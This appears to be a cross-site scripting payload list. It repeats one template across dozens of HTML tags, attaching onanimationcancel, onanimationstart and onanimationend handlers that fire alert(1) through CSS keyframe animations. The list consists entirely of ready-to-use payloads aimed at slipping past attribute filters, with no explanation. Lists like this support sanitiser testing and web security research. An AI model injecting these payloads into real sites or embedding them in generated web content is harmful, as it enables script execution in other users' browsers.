<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><blockquote id=x style="position:absolute;" onanimationcancel="alert(1)"></blockquote>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><body id=x style="position:absolute;" onanimationcancel="alert(1)"></body>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><br id=x style="position:absolute;" onanimationcancel="alert(1)"></br>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><button id=x style="position:absolute;" onanimationcancel="alert(1)"></button>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><canvas id=x style="position:absolute;" onanimationcancel="alert(1)"></canvas>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><caption id=x style="position:absolute;" onanimationcancel="alert(1)"></caption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><center id=x style="position:absolute;" onanimationcancel="alert(1)"></center>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><cite id=x style="position:absolute;" onanimationcancel="alert(1)"></cite>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><code id=x style="position:absolute;" onanimationcancel="alert(1)"></code>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><col id=x style="position:absolute;" onanimationcancel="alert(1)"></col>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><colgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></colgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><command id=x style="position:absolute;" onanimationcancel="alert(1)"></command>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><content id=x style="position:absolute;" onanimationcancel="alert(1)"></content>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><data id=x style="position:absolute;" onanimationcancel="alert(1)"></data>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><datalist id=x style="position:absolute;" onanimationcancel="alert(1)"></datalist>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dd id=x style="position:absolute;" onanimationcancel="alert(1)"></dd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><del id=x style="position:absolute;" onanimationcancel="alert(1)"></del>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><details id=x style="position:absolute;" onanimationcancel="alert(1)"></details>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dfn id=x style="position:absolute;" onanimationcancel="alert(1)"></dfn>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dialog id=x style="position:absolute;" onanimationcancel="alert(1)"></dialog>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dir id=x style="position:absolute;" onanimationcancel="alert(1)"></dir>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><div id=x style="position:absolute;" onanimationcancel="alert(1)"></div>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dl id=x style="position:absolute;" onanimationcancel="alert(1)"></dl>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><dt id=x style="position:absolute;" onanimationcancel="alert(1)"></dt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><element id=x style="position:absolute;" onanimationcancel="alert(1)"></element>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><em id=x style="position:absolute;" onanimationcancel="alert(1)"></em>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><embed id=x style="position:absolute;" onanimationcancel="alert(1)"></embed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><fieldset id=x style="position:absolute;" onanimationcancel="alert(1)"></fieldset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figcaption id=x style="position:absolute;" onanimationcancel="alert(1)"></figcaption>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><figure id=x style="position:absolute;" onanimationcancel="alert(1)"></figure>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><font id=x style="position:absolute;" onanimationcancel="alert(1)"></font>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><footer id=x style="position:absolute;" onanimationcancel="alert(1)"></footer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><form id=x style="position:absolute;" onanimationcancel="alert(1)"></form>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frame id=x style="position:absolute;" onanimationcancel="alert(1)"></frame>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><frameset id=x style="position:absolute;" onanimationcancel="alert(1)"></frameset>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><h1 id=x style="position:absolute;" onanimationcancel="alert(1)"></h1>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><head id=x style="position:absolute;" onanimationcancel="alert(1)"></head>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><header id=x style="position:absolute;" onanimationcancel="alert(1)"></header>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></hgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><hr id=x style="position:absolute;" onanimationcancel="alert(1)"></hr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><html id=x style="position:absolute;" onanimationcancel="alert(1)"></html>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><i id=x style="position:absolute;" onanimationcancel="alert(1)"></i>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><iframe id=x style="position:absolute;" onanimationcancel="alert(1)"></iframe>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><image id=x style="position:absolute;" onanimationcancel="alert(1)"></image>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><img id=x style="position:absolute;" onanimationcancel="alert(1)"></img>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><input id=x style="position:absolute;" onanimationcancel="alert(1)"></input>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ins id=x style="position:absolute;" onanimationcancel="alert(1)"></ins>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><isindex id=x style="position:absolute;" onanimationcancel="alert(1)"></isindex>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><kbd id=x style="position:absolute;" onanimationcancel="alert(1)"></kbd>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><keygen id=x style="position:absolute;" onanimationcancel="alert(1)"></keygen>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><label id=x style="position:absolute;" onanimationcancel="alert(1)"></label>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><legend id=x style="position:absolute;" onanimationcancel="alert(1)"></legend>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><li id=x style="position:absolute;" onanimationcancel="alert(1)"></li>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><link id=x style="position:absolute;" onanimationcancel="alert(1)"></link>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><listing id=x style="position:absolute;" onanimationcancel="alert(1)"></listing>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><main id=x style="position:absolute;" onanimationcancel="alert(1)"></main>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><map id=x style="position:absolute;" onanimationcancel="alert(1)"></map>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><mark id=x style="position:absolute;" onanimationcancel="alert(1)"></mark>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><marquee id=x style="position:absolute;" onanimationcancel="alert(1)"></marquee>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menu id=x style="position:absolute;" onanimationcancel="alert(1)"></menu>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="alert(1)"></menuitem>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="alert(1)"></meta>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="alert(1)"></meter>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="alert(1)"></multicol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="alert(1)"></nav>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="alert(1)"></nextid>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="alert(1)"></nobr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="alert(1)"></noembed>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="alert(1)"></noframes>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="alert(1)"></noscript>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="alert(1)"></object>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="alert(1)"></ol>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></optgroup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="alert(1)"></option>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="alert(1)"></output>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="alert(1)"></p>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="alert(1)"></param>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="alert(1)"></picture>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="alert(1)"></plaintext>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="alert(1)"></pre>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="alert(1)"></progress>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="alert(1)"></q>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="alert(1)"></rb>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="alert(1)"></rp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="alert(1)"></rt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="alert(1)"></rtc>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="alert(1)"></ruby>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="alert(1)"></s>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="alert(1)"></samp>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="alert(1)"></script>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="alert(1)"></section>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="alert(1)"></select>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="alert(1)"></shadow>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="alert(1)"></slot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="alert(1)"></small>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="alert(1)"></source>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="alert(1)"></spacer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="alert(1)"></span>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="alert(1)"></strike>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="alert(1)"></strong>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="alert(1)"></style>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="alert(1)"></sub>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="alert(1)"></summary>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="alert(1)"></sup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="alert(1)"></svg>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="alert(1)"></table>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="alert(1)"></tbody>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="alert(1)"></td>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="alert(1)"></template>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="alert(1)"></textarea>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="alert(1)"></tfoot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="alert(1)"></th>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="alert(1)"></thead>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="alert(1)"></time>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="alert(1)"></title>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="alert(1)"></tr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="alert(1)"></track>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="alert(1)"></tt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="alert(1)"></u>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="alert(1)"></ul>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="alert(1)"></var>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="alert(1)"></video>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="alert(1)"></wbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="alert(1)"></xmp>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationend="alert(1)"></abbr>
<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationstart="alert(1)"></abbr>
<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationend="alert(1)"></acronym>
<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationstart="alert(1)"></acronym>
<style>@keyframes x{}</style><address style="animation-name:x" onanimationend="alert(1)"></address>
<style>@keyframes x{}</style><address style="animation-name:x" onanimationstart="alert(1)"></address>
<style>@keyframes x{}</style><applet style="animation-name:x" onanimationend="alert(1)"></applet>
<style>@keyframes x{}</style><applet style="animation-name:x" onanimationstart="alert(1)"></applet>
<style>@keyframes x{}</style><area style="animation-name:x" onanimationend="alert(1)"></area>
<style>@keyframes x{}</style><area style="animation-name:x" onanimationstart="alert(1)"></area>
<style>@keyframes x{}</style><article style="animation-name:x" onanimationend="alert(1)"></article>
<style>@keyframes x{}</style><article style="animation-name:x" onanimationstart="alert(1)"></article>
<style>@keyframes x{}</style><aside style="animation-name:x" onanimationend="alert(1)"></aside>
<style>@keyframes x{}</style><aside style="animation-name:x" onanimationstart="alert(1)"></aside>
<style>@keyframes x{}</style><audio style="animation-name:x" onanimationend="alert(1)"></audio>
<style>@keyframes x{}</style><audio style="animation-name:x" onanimationstart="alert(1)"></audio>
<style>@keyframes x{}</style><b style="animation-name:x" onanimationend="alert(1)"></b>
<style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)"></b>
<style>@keyframes x{}</style><base style="animation-name:x" onanimationend="alert(1)"></base>
<style>@keyframes x{}</style><base style="animation-name:x" onanimationstart="alert(1)"></base>
<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationend="alert(1)"></basefont>
<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationstart="alert(1)"></basefont>
<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationend="alert(1)"></bdi>
<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationstart="alert(1)"></bdi>
<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationend="alert(1)"></bdo>
<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationstart="alert(1)"></bdo>
<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationend="alert(1)"></bgsound>
<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationstart="alert(1)"></bgsound>
<style>@keyframes x{}</style><big style="animation-name:x" onanimationend="alert(1)"></big>
<style>@keyframes x{}</style><big style="animation-name:x" onanimationstart="alert(1)"></big>
<style>@keyframes x{}</style><blink style="animation-name:x" onanimationend="alert(1)"></blink>
<style>@keyframes x{}</style><blink style="animation-name:x" onanimationstart="alert(1)"></blink>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationend="alert(1)"></blockquote>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationstart="alert(1)"></blockquote>
<style>@keyframes x{}</style><body style="animation-name:x" onanimationend="alert(1)"></body>
<style>@keyframes x{}</style><body style="animation-name:x" onanimationstart="alert(1)"></body>
<style>@keyframes x{}</style><br style="animation-name:x" onanimationend="alert(1)"></br>
<style>@keyframes x{}</style><br style="animation-name:x" onanimationstart="alert(1)"></br>
<style>@keyframes x{}</style><button style="animation-name:x" onanimationend="alert(1)"></button>
<style>@keyframes x{}</style><button style="animation-name:x" onanimationstart="alert(1)"></button>
<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationend="alert(1)"></canvas>
<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationstart="alert(1)"></canvas>
<style>@keyframes x{}</style><caption style="animation-name:x" onanimationend="alert(1)"></caption>
<style>@keyframes x{}</style><caption style="animation-name:x" onanimationstart="alert(1)"></caption>
<style>@keyframes x{}</style><center style="animation-name:x" onanimationend="alert(1)"></center>
<style>@keyframes x{}</style><center style="animation-name:x" onanimationstart="alert(1)"></center>
<style>@keyframes x{}</style><cite style="animation-name:x" onanimationend="alert(1)"></cite>
<style>@keyframes x{}</style><cite style="animation-name:x" onanimationstart="alert(1)"></cite>
<style>@keyframes x{}</style><code style="animation-name:x" onanimationend="alert(1)"></code>
<style>@keyframes x{}</style><code style="animation-name:x" onanimationstart="alert(1)"></code>
<style>@keyframes x{}</style><col style="animation-name:x" onanimationend="alert(1)"></col>
<style>@keyframes x{}</style><col style="animation-name:x" onanimationstart="alert(1)"></col>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationend="alert(1)"></colgroup>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationstart="alert(1)"></colgroup>
<style>@keyframes x{}</style><command style="animation-name:x" onanimationend="alert(1)"></command>
<style>@keyframes x{}</style><command style="animation-name:x" onanimationstart="alert(1)"></command>
<style>@keyframes x{}</style><content style="animation-name:x" onanimationend="alert(1)"></content>
<style>@keyframes x{}</style><content style="animation-name:x" onanimationstart="alert(1)"></content>
<style>@keyframes x{}</style><data style="animation-name:x" onanimationend="alert(1)"></data>
<style>@keyframes x{}</style><data style="animation-name:x" onanimationstart="alert(1)"></data>
<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationend="alert(1)"></datalist>
<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationstart="alert(1)"></datalist>
<style>@keyframes x{}</style><dd style="animation-name:x" onanimationend="alert(1)"></dd>
<style>@keyframes x{}</style><dd style="animation-name:x" onanimationstart="alert(1)"></dd>
<style>@keyframes x{}</style><del style="animation-name:x" onanimationend="alert(1)"></del>
<style>@keyframes x{}</style><del style="animation-name:x" onanimationstart="alert(1)"></del>
<style>@keyframes x{}</style><details style="animation-name:x" onanimationend="alert(1)"></details>
<style>@keyframes x{}</style><details style="animation-name:x" onanimationstart="alert(1)"></details>
<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationend="alert(1)"></dfn>
<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationstart="alert(1)"></dfn>
<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationend="alert(1)"></dialog>
<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationstart="alert(1)"></dialog>
<style>@keyframes x{}</style><dir style="animation-name:x" onanimationend="alert(1)"></dir>
<style>@keyframes x{}</style><dir style="animation-name:x" onanimationstart="alert(1)"></dir>
<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div>
<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)"></div>
<style>@keyframes x{}</style><dl style="animation-name:x" onanimationend="alert(1)"></dl>
<style>@keyframes x{}</style><dl style="animation-name:x" onanimationstart="alert(1)"></dl>
<style>@keyframes x{}</style><dt style="animation-name:x" onanimationend="alert(1)"></dt>
<style>@keyframes x{}</style><dt style="animation-name:x" onanimationstart="alert(1)"></dt>
<style>@keyframes x{}</style><element style="animation-name:x" onanimationend="alert(1)"></element>
<style>@keyframes x{}</style><element style="animation-name:x" onanimationstart="alert(1)"></element>
<style>@keyframes x{}</style><em style="animation-name:x" onanimationend="alert(1)"></em>
<style>@keyframes x{}</style><em style="animation-name:x" onanimationstart="alert(1)"></em>
<style>@keyframes x{}</style><embed style="animation-name:x" onanimationend="alert(1)"></embed>
<style>@keyframes x{}</style><embed style="animation-name:x" onanimationstart="alert(1)"></embed>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationend="alert(1)"></fieldset>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationstart="alert(1)"></fieldset>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationend="alert(1)"></figcaption>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationstart="alert(1)"></figcaption>
<style>@keyframes x{}</style><figure style="animation-name:x" onanimationend="alert(1)"></figure>
<style>@keyframes x{}</style><figure style="animation-name:x" onanimationstart="alert(1)"></figure>
<style>@keyframes x{}</style><font style="animation-name:x" onanimationend="alert(1)"></font>
<style>@keyframes x{}</style><font style="animation-name:x" onanimationstart="alert(1)"></font>
<style>@keyframes x{}</style><footer style="animation-name:x" onanimationend="alert(1)"></footer>
<style>@keyframes x{}</style><footer style="animation-name:x" onanimationstart="alert(1)"></footer>
<style>@keyframes x{}</style><form style="animation-name:x" onanimationend="alert(1)"></form>
